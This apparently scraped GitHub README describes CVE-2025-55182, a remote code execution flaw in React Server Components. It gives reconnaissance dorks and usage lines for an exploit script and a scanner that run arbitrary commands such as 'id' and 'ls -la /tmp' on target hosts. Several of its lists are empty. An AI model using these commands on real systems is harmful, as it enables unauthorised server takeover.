cyberleelawat/cve-2025-55182A critical Remote Code Execution (RCE) vulnerability affecting the React Server Components (RSC) implementation within multiple packages including.
CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability affecting the React Server Components (RSC) implementation within multiple packages including:
The vulnerability exists due to unsafe deserialization of payloads sent via the internal Flight protocol used by RSC. When certain untrusted input flows through React Server Components via HTTP requests, server-side code execution may be triggered.
The affected versions include:
Patched versions include:
React Server Components accept client-side requests which are parsed and deserialized on the backend. The vulnerability arises from insufficient controls around deserialization of inbound data, allowing specially crafted payloads to be interpreted as executable server-side components.
When this happens, arbitrary JavaScript execution may occur on the server, which may lead to complete server compromise depending on the hosting environment and privileges.
If exploited, an attacker may be able to:
CVSS score: 10.0 – CRITICAL
Verify whether the application exposes React Server Components and whether affected versions are in use.
curl -I https://target.com/?__rsc=1
These keywords help identify whether a public-facing repository or web application references RSC components.
"React Server Components" "Flight" inurl:src
"react-server-dom-webpack" filetype:lock
"server.references" "react"
"rsc" "react-dom"
site:yourdomain.com "react-server"
site:yourdomain.com "flight" "react"
site:yourdomain.com "rsc"
Intended for internal auditing of your organization’s domain only.
Check exposed framework use, not vulnerability exploitation.
http.title:"Next.js"
"powered by" "Next.js"
X-Powered-By: Next.js
http.favicon.hash=
title="Next.js"
header="next-router-state-tree"
body="/_next/static/"
server="next"
To automate defensive scanning, clone template-based detection logic for your own infrastructure assessment:
git clone https://github.com/cyberleelawat/CVE-2025-55182.git
cd CVE-2025-55182
$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
CVE-2025-55182.py)Full-featured RCE exploit script that executes arbitrary commands and retrieves output.
Usage:
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
chmod +x scanner.sh
# Scan with default command (id)
./scanner.sh -d example.com
# Execute custom command
./scanner.sh -d example.com -c "whoami"
# With full URL
./scanner.sh -d https://example.com -c "uname -a"
-d, --domain - Target domain/URL (required)-c, --command - Command to execute (default: id)# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com
# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"
# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
Bash
curl
openssl
Templates inside the repository are intended for:
IMPORTANT: These templates must only be executed on systems you own or are authorized to assess.
Nuclei templates included in this repository are intended solely for:
Please ensure:
Upgrade to one of the patched releases:
Security Researcher • Cyber Security Trainer • Bug Bounty Hunter
Motto: Zero Trust Full Secure 🚀
|
|
|
|
| |
CVE-2025-55182 is currently one of the most critical threats to React-based infrastructures. Due to the trivial exploitation vector and unauthenticated attack surface, instant patching is strongly advised. Any organization running affected RSC versions should consider emergency prioritization.
This repository and documentation are for defensive research and security validation of assets you own. Any misuse may be illegal. You are responsible for complying with laws and organizational policy.
Made with ❤️ by Cyber Leelawat
Zero Trust Full Secure 🎯🔐